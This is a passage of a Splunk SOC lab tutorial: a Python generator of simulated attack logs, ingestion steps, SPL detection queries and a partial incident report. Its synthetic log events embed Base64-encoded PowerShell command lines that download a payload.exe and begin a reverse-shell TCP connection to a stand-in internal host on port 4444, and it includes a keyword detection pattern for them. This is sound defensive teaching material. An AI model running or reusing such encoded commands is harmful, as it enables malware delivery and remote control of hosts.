Build a Mini SOC Lab with Splunk

Detect simulated cyberattacks using Splunk SIEM and write an incident report.

Introduction

30 Second Summary

Every organization has digital security cameras watching for intruders. SOC (Security Operations Center) analysts are the people monitoring those cameras, spotting suspicious behavior before it causes damage.

In this project, you will build a mini SOC lab on your Windows machine. You will simulate cyber attacks with Python, detect them using Splunk (the industry-leading SIEM tool), and write a professional incident report.

What You'll Build

A fully functional mini SOC lab that generates simulated attack data, ingests it into Splunk, and identifies threats using custom detection queries.

By the end of this project, you'll have:

  • A working Splunk Enterprise instance ingesting simulated security logs on your local machine.
  • 3 custom SPL detection queries that identify brute-force attacks, port scans, and suspicious PowerShell execution.
  • A completed incident report documenting findings with MITRE ATT&CK technique mappings, ready for your portfolio.
  • Secret Mission: Create a Splunk dashboard that visualizes attack patterns with charts and a timeline.

Are there any prerequisites?

You will need a Windows PC with Python already installed. Basic networking knowledge (TCP/IP, ports) and basic command-line familiarity will help you follow along.

Before We Start

Before We Start...

Install and Configure Splunk Enterprise

Before you can detect attacks, you need a place to collect and search through security logs. Splunk is the industry-leading SIEM (Security Information and Event Management) tool that SOC analysts use daily to investigate threats.

In this step, you will download Splunk Enterprise, install it on your Windows machine, and configure a dedicated index to store security event data.

In this step, get ready to:
  • Create a Splunk account and install Splunk Enterprise.
  • Verify Splunk is running and accessible at http://localhost:8000.
  • Create a custom index for security events.
Create a free Splunk account and download Splunk Enterprise

Splunk Enterprise requires a free account to download. No credit card is needed.

  • Open your browser and navigate to the Splunk Enterprise download page.
  • Click the button to create a free Splunk account.
  • Fill in your details and verify your email to complete the account creation.
  • Once logged in, download the Windows 64-bit .msi installer (approximately 1 GB).

How long does the download take?

The installer is approximately 1 GB. On a typical home internet connection, this may take 5-10 minutes. You can continue reading ahead while it downloads.

  • Once the download completes, double-click the splunk.msi file to start the installer.
  • Check the "Check this box to accept the License Agreement" checkbox.
  • Click Next to proceed with the default installation settings.

What do the default settings do?

The default installation installs Splunk to C:\Program Files\Splunk, uses the default web port (8000), and runs Splunk as a Windows service. You do not need to change anything.

  • When prompted, create a Splunk administrator username and password. Remember these credentials. You will use them to log in to Splunk Web.
  • Click Next to begin the installation. Wait for it to complete.
  • On the final screen, check the box labelled Launch browser with Splunk Enterprise.
  • Click Finish.

Installer asking about a Windows user?

The installer may ask which user Splunk should run as. Accept the default option and click Next. For a personal learning machine, the default service account is fine.

If you see a pop-up error about the user, proceed through the final panel and check the Launch browser with Splunk Enterprise checkbox before clicking Finish. help me troubleshoot the Splunk installer user selection prompt

Verify Splunk is running

After clicking Finish, your browser should automatically open to Splunk Web.

  • Confirm your browser has opened to http://localhost:8000. If it did not open automatically, type this URL into your browser manually.
  • Log in with the admin username and password you created during installation.
  • You should see the Splunk Home dashboard.
  • Click Search & Reporting in the left sidebar.
  • Confirm the search interface loads. You should see a search bar at the top of the page.

Browser not opening to localhost:8000?

Splunk may take a minute or two to start up for the first time. Wait 60 seconds, then try navigating to http://localhost:8000 manually.

If you still cannot connect, open the Windows Services app (search for services.msc in the Start menu). Look for a service called Splunkd or SplunkForwarder. Right-click it and select Start. Then try the URL again. help me get Splunk running

Create a dedicated index for security events

An index in Splunk is a repository where data is stored. Creating a dedicated index keeps your security events separate from Splunk's default data, making them easier to search.

  • In Splunk Web, click Settings in the top navigation bar.
  • Click Indexes.
  • Click New Index.
  • In the Index Name field, enter security_events.
  • Leave all other settings as their defaults.
  • Click Save.

Why create a separate index?

Splunk's default index (called main) collects all data unless you specify otherwise. By creating a security_events index, you can target your detection queries at only the attack data you generate. This mirrors how real SOC teams organize data by source type.

  • Verify the index was created by confirming security_events now appears in the list on the Settings > Indexes page.

Your Splunk instance is ready to receive data. Next up, you will generate simulated attack telemetry using Python to feed into your new index.

Generate Simulated Attack Telemetry

Your Splunk instance is up and running with a dedicated index ready to receive security data. Now it's time to create the attack telemetry that your SOC lab will analyze.

Real SOC environments receive thousands of log events per second from firewalls, endpoints, and authentication systems. In this step, you'll use Python to generate realistic security events that simulate three common attack patterns: brute-force logins, port scanning, and encoded PowerShell execution.

In this step, get ready to:
  • Create a Python script that generates realistic security event logs.
  • Run the script to produce a JSONL file containing simulated attack events.
Create the attack simulation script

You'll write a Python script that outputs JSONL (JSON Lines) events simulating three attack scenarios that SOC analysts commonly encounter. Each event contains fields like timestamps, IP addresses, and action results that mirror what a real SIEM would ingest.

  • Open PowerShell by pressing the Windows key, typing PowerShell, and pressing Enter.
  • Create the project folder and move into it by running these commands:
mkdir C:\SOCLab
cd C:\SOCLab
  • Confirm the folder exists by running:
ls C:\SOCLab

You should see an empty directory listing confirming the folder was created.

Seeing an error about the path?

If you see a message that the folder already exists, that's fine. Run cd C:\SOCLab to move into it and continue.

help me troubleshoot creating a folder in PowerShell

  • Create the script file by running:
New-Item -Path C:\SOCLab\generate_attacks.py -ItemType File
  • Open generate_attacks.py in a text editor (Notepad, VS Code, or any editor you prefer).
  • Paste the following code into generate_attacks.py. This is the event generation function that creates normal background traffic and three attack scenarios:
import json
import random
from datetime import datetime, timedelta

def generate_events():
    events = []
    base_time = datetime(2026, 6, 9, 8, 0, 0)

    # Normal background traffic
    normal_users = ["alice", "bob", "charlie", "diana"]
    normal_ips = ["10.0.1.50", "10.0.1.51", "10.0.1.52", "10.0.1.53"]
    servers = ["10.0.2.10", "10.0.2.11", "10.0.2.12"]

    for i in range(200):
        t = base_time + timedelta(seconds=random.randint(0, 7200))
        user = random.choice(normal_users)
        src = random.choice(normal_ips)
        dest = random.choice(servers)
        events.append({
            "timestamp": t.isoformat(),
            "event_type": "authentication",
            "src_ip": src,
            "dest_ip": dest,
            "dest_port": 443,
            "user": user,
            "action": "success",
            "process_name": ""
        })

    # Attack 1: Brute-force login (T1110)
    attacker_ip = "185.220.101.42"
    target_user = "admin"
    brute_start = base_time + timedelta(minutes=30)

    for i in range(50):
        t = brute_start + timedelta(seconds=i * 2)
        events.append({
            "timestamp": t.isoformat(),
            "event_type": "authentication",
            "src_ip": attacker_ip,
            "dest_ip": "10.0.2.10",
            "dest_port": 22,
            "user": target_user,
            "action": "failure",
            "process_name": ""
        })

    # Brute-force success after failures
    t = brute_start + timedelta(seconds=102)
    events.append({
        "timestamp": t.isoformat(),
        "event_type": "authentication",
        "src_ip": attacker_ip,
        "dest_ip": "10.0.2.10",
        "dest_port": 22,
        "user": target_user,
        "action": "success",
        "process_name": ""
    })

    # Attack 2: Port scan (T1046)
    scanner_ip = "203.0.113.100"
    scan_start = base_time + timedelta(minutes=45)
    scan_ports = list(range(20, 1025))
    random.shuffle(scan_ports)
    selected_ports = scan_ports[:30]

    for i, port in enumerate(selected_ports):
        t = scan_start + timedelta(seconds=i)
        events.append({
            "timestamp": t.isoformat(),
            "event_type": "network_connection",
            "src_ip": scanner_ip,
            "dest_ip": "10.0.2.10",
            "dest_port": port,
            "user": "",
            "action": "connection_attempt",
            "process_name": ""
        })

    # Attack 3: Encoded PowerShell execution (T1059.001)
    ps_time = base_time + timedelta(minutes=60)
    encoded_payload = "SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAALwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUA"

    events.append({
        "timestamp": ps_time.isoformat(),
        "event_type": "process_execution",
        "src_ip": "10.0.2.10",
        "dest_ip": "",
        "dest_port": 0,
        "user": "admin",
        "action": "executed",
        "process_name": "powershell.exe",
        "command_line": f"powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_payload}"
    })

    # Additional suspicious PowerShell activity
    ps_time2 = base_time + timedelta(minutes=61)
    events.append({
        "timestamp": ps_time2.isoformat(),
        "event_type": "process_execution",
        "src_ip": "10.0.2.10",
        "dest_ip": "192.168.1.10",
        "dest_port": 4444,
        "user": "admin",
        "action": "executed",
        "process_name": "powershell.exe",
        "command_line": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAA="
    })

    # Sort events by timestamp
    events.sort(key=lambda x: x["timestamp"])
    return events

What does this code do?

This function generates four types of events that simulate a realistic attack timeline:

  • 200 normal authentication events from internal users logging in successfully. This is your baseline "noise" that a real SOC would see.
  • Brute-force attack (T1110): 50 rapid failed login attempts from IP 185.220.101.42 targeting the admin account on port 22 (SSH), followed by 1 successful login.
  • Port scan (T1046): One IP rapidly connecting to 30 different ports on a target server, which is how attackers discover running services.
  • Encoded PowerShell (T1059.001): Two process execution events showing powershell.exe launched with the -EncodedCommand flag, a common technique attackers use to hide malicious scripts.
  • Below your generate_events() function, paste the main() function that writes events to a file:
def main():
    events = generate_events()
    output_file = "security_events.jsonl"

    with open(output_file, "w") as f:
        for event in events:
            f.write(json.dumps(event) + "\n")

    print(f"Generated {len(events)} events in {output_file}")
    print(f"Attack scenarios included:")
    print(f"  - Brute-force: 50 failed + 1 success from 185.220.101.42")
    print(f"  - Port scan: 30 ports scanned from 203.0.113.100")
    print(f"  - Encoded PowerShell: 2 suspicious executions on 10.0.2.10")


if __name__ == "__main__":
    main()

What does this code do?

The main() function calls generate_events() and writes each event as a single JSON line to security_events.jsonl. JSONL format means one complete JSON object per line, which is ideal for log ingestion tools like Splunk.

The if __name__ == "__main__" block ensures the script runs only when executed directly, not when imported as a module.

  • Save generate_attacks.py.

✔️ Awesome, I've got everything!

Great. Double check you've saved the file before moving on.

ⓧ I'd like to double check the full code

import json
import random
from datetime import datetime, timedelta

def generate_events():
    events = []
    base_time = datetime(2026, 6, 9, 8, 0, 0)

    # Normal background traffic
    normal_users = ["alice", "bob", "charlie", "diana"]
    normal_ips = ["10.0.1.50", "10.0.1.51", "10.0.1.52", "10.0.1.53"]
    servers = ["10.0.2.10", "10.0.2.11", "10.0.2.12"]

    for i in range(200):
        t = base_time + timedelta(seconds=random.randint(0, 7200))
        user = random.choice(normal_users)
        src = random.choice(normal_ips)
        dest = random.choice(servers)
        events.append({
            "timestamp": t.isoformat(),
            "event_type": "authentication",
            "src_ip": src,
            "dest_ip": dest,
            "dest_port": 443,
            "user": user,
            "action": "success",
            "process_name": ""
        })

    # Attack 1: Brute-force login (T1110)
    attacker_ip = "185.220.101.42"
    target_user = "admin"
    brute_start = base_time + timedelta(minutes=30)

    for i in range(50):
        t = brute_start + timedelta(seconds=i * 2)
        events.append({
            "timestamp": t.isoformat(),
            "event_type": "authentication",
            "src_ip": attacker_ip,
            "dest_ip": "10.0.2.10",
            "dest_port": 22,
            "user": target_user,
            "action": "failure",
            "process_name": ""
        })

    # Brute-force success after failures
    t = brute_start + timedelta(seconds=102)
    events.append({
        "timestamp": t.isoformat(),
        "event_type": "authentication",
        "src_ip": attacker_ip,
        "dest_ip": "10.0.2.10",
        "dest_port": 22,
        "user": target_user,
        "action": "success",
        "process_name": ""
    })

    # Attack 2: Port scan (T1046)
    scanner_ip = "203.0.113.100"
    scan_start = base_time + timedelta(minutes=45)
    scan_ports = list(range(20, 1025))
    random.shuffle(scan_ports)
    selected_ports = scan_ports[:30]

    for i, port in enumerate(selected_ports):
        t = scan_start + timedelta(seconds=i)
        events.append({
            "timestamp": t.isoformat(),
            "event_type": "network_connection",
            "src_ip": scanner_ip,
            "dest_ip": "10.0.2.10",
            "dest_port": port,
            "user": "",
            "action": "connection_attempt",
            "process_name": ""
        })

    # Attack 3: Encoded PowerShell execution (T1059.001)
    ps_time = base_time + timedelta(minutes=60)
    encoded_payload = "SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAALwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUA"

    events.append({
        "timestamp": ps_time.isoformat(),
        "event_type": "process_execution",
        "src_ip": "10.0.2.10",
        "dest_ip": "",
        "dest_port": 0,
        "user": "admin",
        "action": "executed",
        "process_name": "powershell.exe",
        "command_line": f"powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_payload}"
    })

    # Additional suspicious PowerShell activity
    ps_time2 = base_time + timedelta(minutes=61)
    events.append({
        "timestamp": ps_time2.isoformat(),
        "event_type": "process_execution",
        "src_ip": "10.0.2.10",
        "dest_ip": "192.168.1.10",
        "dest_port": 4444,
        "user": "admin",
        "action": "executed",
        "process_name": "powershell.exe",
        "command_line": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAA="
    })

    # Sort events by timestamp
    events.sort(key=lambda x: x["timestamp"])
    return events


def main():
    events = generate_events()
    output_file = "security_events.jsonl"

    with open(output_file, "w") as f:
        for event in events:
            f.write(json.dumps(event) + "\n")

    print(f"Generated {len(events)} events in {output_file}")
    print(f"Attack scenarios included:")
    print(f"  - Brute-force: 50 failed + 1 success from 185.220.101.42")
    print(f"  - Port scan: 30 ports scanned from 203.0.113.100")
    print(f"  - Encoded PowerShell: 2 suspicious executions on 10.0.2.10")


if __name__ == "__main__":
    main()
Run the script to generate the log file

With the script saved, you'll now run it to produce the log file that Splunk will ingest in the next step.

  • In your PowerShell window, make sure you're in the C:\SOCLab folder.
  • Run the attack simulation script by running:
python generate_attacks.py
  • You should see output confirming the events were generated:

What should I see?

The script prints a summary showing how many events were created and which attack scenarios are included:

Generated 284 events in security_events.jsonl
Attack scenarios included:
  - Brute-force: 50 failed + 1 success from 185.220.101.42
  - Port scan: 30 ports scanned from 203.0.113.100
  - Encoded PowerShell: 2 suspicious executions on 10.0.2.10
  • Verify the output file exists and contains data by running:
ls C:\SOCLab\security_events.jsonl

You should see security_events.jsonl listed with a file size of around 50-80 KB.

  • Inspect the first few events to confirm they look right by running:
Get-Content C:\SOCLab\security_events.jsonl | Select-Object -First 3

You should see three JSON objects, each on its own line, with fields like timestamp, event_type, src_ip, and action.

Script not running?

If you see an error about python not being recognized, try python3 generate_attacks.py or py generate_attacks.py instead. Windows sometimes uses different aliases for the Python interpreter.

If you see a syntax error, double check that your generate_attacks.py file matches the full code in the tab above. A missing comma or misaligned indentation will cause Python to fail.

help me troubleshoot running my Python script in PowerShell

Why is the file size important?

Splunk's free license allows up to 500 MB of data ingestion per day. Your generated file is well under 100 KB, so you're nowhere near the limit. This means you can re-run the script and re-ingest data as many times as you want for practice.

Your attack telemetry is ready. Next up, you'll ingest this data into Splunk and start hunting for the attack patterns hidden in the noise.

Ingest Logs into Splunk

You have a file full of simulated attack data sitting on your machine. Right now, it is invisible to your SIEM. For Splunk to search and analyze those events, you need to ingest the data into the index you created earlier.

In this step, you will upload your security_events.jsonl file into Splunk and verify that all 284 events are properly parsed and searchable.

In this step, get ready to:
  • Upload the attack data file into Splunk.
  • Verify that all events are searchable with properly parsed JSON fields.
Upload the attack data into Splunk

Splunk can ingest data from many sources. The simplest method for a local file is the upload feature, which reads your file, parses it into individual events, and stores them in the index you specify.

  • In Splunk Web, click Settings in the top navigation bar.
  • Click Add Data.
  • Click Upload (the option that says "Upload files from my computer").
  • Click Select File and choose your security_events.jsonl file from C:\SOCLab.

Splunk now shows the Set Source Type page. This is where you tell Splunk how to interpret your file's format.

  • Splunk should auto-detect that your file is JSON. Confirm the Source type field is set to _json. If it shows something else, click the dropdown and select _json.
  • Click Next to proceed to the Input Settings page.

What is a sourcetype?

A sourcetype tells Splunk how to parse incoming data. The _json sourcetype means Splunk will treat each line as a separate JSON object and automatically extract all the key-value pairs as searchable fields.

On the Input Settings page, you will assign the data to your custom index.

  • In the Index dropdown, select security_events (the index you created in Step 1).
  • Click Review.
  • Confirm the settings show sourcetype as _json and index as security_events.
  • Click Submit.

You should see a success message confirming the file has been uploaded.

Don't see your security_events index in the dropdown?

If security_events does not appear in the Index dropdown, go back to Settings > Indexes and verify the index exists. If it is missing, create it again following the instructions in Step 1.

Why can't Splunk find my security_events index?

Verify data ingestion

Uploading data is only half the job. You need to confirm Splunk actually parsed and indexed every event correctly.

  • Click Search & Reporting in the left sidebar (or click the app from the Splunk Home page).
  • In the search bar, run the following query:
index=security_events
  • Set the time range picker (above the search bar) to All time to ensure you see every event regardless of timestamp.
  • Click the green search button or press Enter.

You should see all 284 events listed in the results. The event count appears in the top-left area of the results panel.

  • Click on any event to expand it and inspect its fields.
  • Confirm you see properly parsed fields including: timestamp, event_type, src_ip, dest_ip, dest_port, user, action, and process_name.

What do these fields mean?

Each field represents a piece of information a SOC analyst uses during investigation. src_ip is where the traffic originated. dest_ip is where it went. event_type categorizes what happened (authentication, network connection, or process execution).

Because you used the _json sourcetype, Splunk automatically extracted every JSON key into a searchable field. This is what makes writing detection queries in the next step possible.

Not seeing any events?

Make sure the time range picker is set to All time. Splunk defaults to the last 24 hours, and your simulated events may have timestamps outside that window.

Also check that you selected the correct index (security_events) during the upload process. If you accidentally uploaded to the default index, try running index=main to check there.

Help me find my uploaded events in Splunk.

Your attack data is now live inside Splunk, fully parsed and searchable. Next up, you will write SPL detection queries that sift through these 284 events and surface the three hidden attack patterns.

Write SPL Detection Queries

Your security events are sitting in Splunk, but raw logs on their own are just noise. A SOC analyst's core job is writing detection rules that surface suspicious patterns buried in thousands of normal events.

In this step, you'll write three SPL (Search Processing Language) queries that each identify a different attack type in your data. Each query uses a different detection technique: threshold counting, distinct-value analysis, and keyword matching.

In this step, get ready to:
  • Detect brute-force login attempts using threshold-based aggregation.
  • Identify port scanning activity by counting distinct destination ports.
  • Find suspicious PowerShell executions using keyword search.
Detect brute-force login attempts

A brute-force attack floods a login page with password guesses until one works. The telltale sign is a single IP generating far more failed logins than any legitimate user would.

  • In Search & Reporting in Splunk Web, set the time range picker to All time (the dropdown to the left of the search bar).
  • Enter the following SPL query into the search bar and click the green search button (or press Enter):
index=security_events event_type=authentication action=failure | stats count as failed_attempts by src_ip, user | where failed_attempts > 5

What does this query do?

  • index=security_events event_type=authentication action=failure filters to only failed login events in your security index.
  • stats count as failed_attempts by src_ip, user groups the results by source IP and username, then counts how many failures each combination produced.
  • where failed_attempts > 5 applies a threshold filter, keeping only entries with more than 5 failures. Legitimate typos rarely exceed this.
  • Review the results table. You should see IP 185.220.101.42 with 50 failed attempts against user admin.
  • Click Save As above the search bar.
  • Select Report.
  • Enter Detection - Brute Force Login as the title.
  • Click Save.

Not seeing any results?

  • Check that the time range is set to All time. If it defaults to Last 24 hours, your events may fall outside that window.
  • Confirm the field names match exactly: event_type, action, src_ip, user. SPL field names are case-sensitive.
  • Make sure the index name is security_events with an underscore, not a hyphen.

Help me troubleshoot why my brute-force detection query returns no results in Splunk.

Detect port scan activity

Port scanning is when an attacker rapidly probes many ports on a target to discover which services are running. The signature is a single source IP connecting to an unusually high number of distinct destination ports.

  • Clear the search bar and enter the following SPL query:
index=security_events event_type=network_connection | stats dc(dest_port) as unique_ports by src_ip | where unique_ports > 20

What does this query do?

  • index=security_events event_type=network_connection filters to network connection events only.
  • stats dc(dest_port) as unique_ports by src_ip uses the dc() (distinct count) function to count how many different ports each source IP contacted.
  • where unique_ports > 20 flags any IP that hit more than 20 unique ports. Normal traffic connects to a handful of known ports (80, 443, 22). Hitting 20+ is a strong indicator of reconnaissance.
  • Review the results. You should see IP 203.0.113.100 with 30 unique ports.
  • Click Save As above the search bar.
  • Select Report.
  • Enter Detection - Port Scan as the title.
  • Click Save.

Seeing 0 results for the port scan query?

  • Double-check that event_type is set to network_connection (not network or connection).
  • Verify the time range is still set to All time. Splunk resets this between searches in some configurations.

Help me figure out why my port scan detection query returns nothing.

Detect encoded PowerShell execution

Attackers frequently use PowerShell with Base64-encoded commands to hide malicious scripts from basic log inspection. The -EncodedCommand flag is a major red flag in any environment.

  • Clear the search bar and enter the following SPL query:
index=security_events event_type=process_execution process_name="powershell.exe" | search "EncodedCommand"

What does this query do?

  • index=security_events event_type=process_execution process_name="powershell.exe" narrows results to process execution events where PowerShell was the running binary.
  • search "EncodedCommand" performs a keyword search across all fields of those events, catching any reference to the -EncodedCommand flag in the command line.

This two-stage approach (filter by process name first, then keyword match) is more efficient than searching all events for the string.

  • Review the results. You should see 2 events for user admin on host 10.0.2.10, each with a Base64-encoded payload in the command_line field.
  • Click Save As above the search bar.
  • Select Report.
  • Enter Detection - Encoded PowerShell as the title.
  • Click Save.

Query returns only 1 event or none?

  • Make sure process_name includes the quotes around powershell.exe. Without quotes, Splunk may not match the value correctly.
  • The keyword EncodedCommand in the search clause is case-sensitive in some configurations. Verify it matches exactly as shown.

Help me debug my encoded PowerShell detection query in Splunk.

Why these three detections?

Brute-force login attempts, port scans, and encoded PowerShell execution are three of the most common alert types a SOC L1 analyst triages in production environments. Each maps to a well-documented MITRE ATT&CK technique that you'll reference in your incident report in the next step.

✔️ Awesome, I've got all three reports saved!

Great work. You can verify all three exist by clicking Reports in the Search & Reporting navigation bar. You should see Detection - Brute Force Login, Detection - Port Scan, and Detection - Encoded PowerShell listed.

ⓧ I'd like to double check the queries

Here are all three SPL queries for reference. Make sure each one is saved as a report with the exact title shown.

Report 1: Detection - Brute Force Login

index=security_events event_type=authentication action=failure | stats count as failed_attempts by src_ip, user | where failed_attempts > 5

Report 2: Detection - Port Scan

index=security_events event_type=network_connection | stats dc(dest_port) as unique_ports by src_ip | where unique_ports > 20

Report 3: Detection - Encoded PowerShell

index=security_events event_type=process_execution process_name="powershell.exe" | search "EncodedCommand"

You now have three working detection rules saved in Splunk. Next up, you'll document these findings in a professional incident report with MITRE ATT&CK mappings.

Write an Incident Report

Your detection queries have surfaced three distinct attack patterns from the simulated data. The next step in a real SOC workflow is translating those findings into a structured document that a SOC manager or incident response team can act on.

In this step, you will write a professional incident report documenting each attack with timestamps, attacker IPs, evidence, and MITRE ATT&CK technique mappings. This is the deliverable that proves you can communicate findings clearly.

In this step, get ready to:
  • Create a structured incident report documenting all three attack scenarios.
  • Map each finding to MITRE ATT&CK technique IDs with supporting SPL evidence.
  • Write actionable recommendations for containment and remediation.
Create the incident report file

A SOC incident report follows a predictable structure. It starts with a high-level summary, moves into a timeline, presents detailed findings with evidence, maps techniques to a framework, and ends with recommendations.

  • Switch back to your PowerShell window.
  • Create the incident report file by running this command:
New-Item -Path C:\SOCLab\incident_report.md -ItemType File
  • Open incident_report.md in a text editor (Notepad or any editor you prefer).
  • Paste the following content into the file:
# Incident Report: Coordinated Attack on Server 10.0.2.10

**Date:** 2026-06-09
**Analyst:** SOC Analyst
**Severity:** High

## Executive Summary

On June 9, 2026, a coordinated attack was detected against internal server 10.0.2.10. The attack involved a brute-force authentication attempt from external IP 185.220.101.42, network reconnaissance (port scan) from 203.0.113.100, and subsequent execution of encoded PowerShell commands on the compromised host. The brute-force attack successfully gained access to the admin account, after which the attacker executed obfuscated commands indicating possible malware download and reverse shell activity.

## Timeline

| Time (UTC) | Event | Source IP | Description |
|------------|-------|-----------|-------------|
| 08:30 | Brute-force begins | 185.220.101.42 | 50 failed SSH login attempts against user 'admin' on 10.0.2.10 |
| 08:31:42 | Brute-force succeeds | 185.220.101.42 | Successful login as 'admin' on 10.0.2.10 |
| 08:45 | Port scan begins | 203.0.113.100 | 30 unique ports scanned on 10.0.2.10 |
| 09:00 | Encoded PowerShell #1 | 10.0.2.10 | powershell.exe with -EncodedCommand (possible payload download) |
| 09:01 | Encoded PowerShell #2 | 10.0.2.10 | powershell.exe with -EncodedCommand (possible reverse shell to 192.168.1.10:4444) |

## Findings

### Finding 1: Brute-Force Login Attack

- **What:** 50 failed SSH authentication attempts followed by 1 successful login
- **Source IP:** 185.220.101.42
- **Target:** 10.0.2.10, port 22, user 'admin'
- **Evidence SPL:**
  ```
  index=security_events event_type=authentication action=failure | stats count as failed_attempts by src_ip, user | where failed_attempts > 5
  ```
- **Result:** 50 failed attempts from 185.220.101.42 against user 'admin'
- **MITRE ATT&CK:** T1110 (Brute Force)

### Finding 2: Network Port Scan

- **What:** Rapid connection attempts to 30 unique destination ports on a single host
- **Source IP:** 203.0.113.100
- **Target:** 10.0.2.10
- **Evidence SPL:**
  ```
  index=security_events event_type=network_connection | stats dc(dest_port) as unique_ports by src_ip | where unique_ports > 20
  ```
- **Result:** 30 unique ports scanned from 203.0.113.100
- **MITRE ATT&CK:** T1046 (Network Service Discovery)

### Finding 3: Encoded PowerShell Execution

- **What:** PowerShell executed with Base64-encoded commands, indicating obfuscated malicious activity
- **Source Host:** 10.0.2.10
- **User:** admin
- **Evidence SPL:**
  ```
  index=security_events event_type=process_execution process_name="powershell.exe" | search "EncodedCommand"
  ```
- **Result:** 2 encoded PowerShell executions, one connecting to 192.168.1.10:4444 (likely reverse shell)
- **MITRE ATT&CK:** T1059.001 (Command and Scripting Interpreter: PowerShell)

## MITRE ATT&CK Mapping

| Technique ID | Technique Name | Finding |
|--------------|----------------|----------|
| T1110 | Brute Force | Finding 1 - SSH brute-force from 185.220.101.42 |
| T1046 | Network Service Discovery | Finding 2 - Port scan from 203.0.113.100 |
| T1059.001 | Command and Scripting Interpreter: PowerShell | Finding 3 - Encoded PowerShell on 10.0.2.10 |

## Recommendations

1. **Block external IPs:** Immediately block 185.220.101.42 and 203.0.113.100 at the perimeter firewall.
2. **Reset credentials:** Reset the 'admin' account password on 10.0.2.10 and enforce multi-factor authentication.
3. **Investigate endpoint:** Perform forensic analysis on 10.0.2.10 to determine the full scope of compromise, including examining the decoded PowerShell payloads and any files downloaded.
4. **Network isolation:** Consider isolating 10.0.2.10 from the network until the forensic investigation is complete.
5. **Monitor 192.168.1.10:** Investigate internal host 192.168.1.10 as a potential command-and-control or lateral movement target.

What does this report cover?

The report follows a standard SOC incident documentation format that hiring managers expect to see in portfolios.

  • The Executive Summary gives a SOC manager the full picture in one paragraph.
  • The Timeline reconstructs the attack sequence using timestamps from your simulated data.
  • Each Finding documents the what, who, and how with the exact SPL query used as evidence.
  • The MITRE ATT&CK Mapping connects each finding to an industry-standard technique ID that other analysts instantly recognize.
  • The Recommendations section tells the response team exactly what to do next.

Why use MITRE ATT&CK mappings?

MITRE ATT&CK is a globally recognized framework that catalogs adversary tactics and techniques. When you label a finding as T1110 (Brute Force), any analyst reading your report immediately understands the attack category without needing your full explanation.

SOC teams use these technique IDs to cross-reference threat intelligence, prioritize alerts, and track attack patterns over time. Including them in your report demonstrates that you think like a professional analyst.

  • Save incident_report.md.

File not saving?

Make sure you are saving to C:\SOCLab\incident_report.md and not to a different location. If using Notepad, select All Files in the Save As dialog to prevent it from appending .txt to the filename.

Help me save my incident report file correctly.

Review and refine your report

A good incident report should be clear enough that someone who wasn't part of the investigation can understand exactly what happened and what to do about it.

  • Read through your report as if you were presenting it to a SOC manager who has no context on this incident.
  • Verify that each finding answers these five questions: what happened, when it happened, who (attacker IP), what the impact is, and what the recommended action is.
  • Confirm that each finding includes the SPL query you used as evidence.
  • Check that the timestamps in your Timeline section match the data in Splunk (run index=security_events and sort by time to double-check).

Make it portfolio-ready

When sharing this report in your portfolio, add your real name in the Analyst field. You can also expand the Recommendations section with longer justifications for each action. Hiring managers look for clear writing and structured thinking.

✔️ Awesome, I've got everything!

Great. Double check you have saved your file at C:\SOCLab\incident_report.md.

ⓧ I'd like to double check the full report

Here is the complete incident_report.md file for comparison:

# Incident Report: Coordinated Attack on Server 10.0.2.10

**Date:** 2026-06-09
**Analyst:** SOC Analyst
**Severity:** High

## Executive Summary

On June 9, 2026, a coordinated attack was detected against internal server 10.0.2.10. The attack involved a brute-force authentication attempt from external IP 185.220.101.42, network reconnaissance (port scan) from 203.0.113.100, and subsequent execution of encoded PowerShell commands on the compromised host. The brute-force attack successfully gained access to the admin account, after which the attacker executed obfuscated commands indicating possible malware download and reverse shell activity.

## Timeline

| Time (UTC) | Event | Source IP | Description |
|------------|-------|-----------|-------------|
| 08:30 | Brute-force begins | 185.220.101.42 | 50 failed SSH login attempts against user 'admin' on 10.0.2.10 |
| 08:31:42 | Brute-force succeeds | 185.220.101.42 | Successful login as 'admin' on 10.0.2.10 |
| 08:45 | Port scan begins | 203.0.113.100 | 30 unique ports scanned on 10.0.2.10 |
| 09:00 | Encoded PowerShell #1 | 10.0.2.10 | powershell.exe with -EncodedCommand (possible payload download) |
| 09:01 | Encoded PowerShell #2 | 10.0.2.10 | powershell.exe with -EncodedCommand (possible reverse shell to 192.168.1.10:4444) |

## Findings

### Finding 1: Brute-Force Login Attack

- **What:** 50 failed SSH authentication attempts followed by 1 successful login
- **Source IP:** 185.220.101.42
- **Target:** 10.0.2.10, port 22, user 'admin'
- **Evidence SPL:**
  ```
  index=security_events event_type=authentication action=failure | stats count as failed_attempts by src_ip, user | where failed_attempts > 5
  ```
- **Result:** 50 failed attempts from 185.220.101.42 against user 'admin'
- **MITRE ATT&CK:** T1110 (Brute Force)

### Finding 2: Network Port Scan

- **What:** Rapid connection attempts to 30 unique destination ports on a single host
- **Source IP:** 203.0.113.100
- **Target:** 10.0.2.10
- **Evidence SPL:**
  ```
  index=security_events event_type=network_connection | stats dc(dest_port) as unique_ports by src_ip | where unique_ports > 20
  ```
- **Result:** 30 unique ports scanned from 203.0.113.100
- **MITRE ATT&CK:** T1046 (Network Service Discovery)

### Finding 3: Encoded PowerShell Execution

- **What:** PowerShell executed with Base64-encoded commands, indicating obfuscated malicious activity
- **Source Host:** 10.0.2.10
- **User:** admin
- **Evidence SPL:**
  ```
  index=security_events event_type=process_execution process_name="powershell.exe" | search "EncodedCommand"
  ```
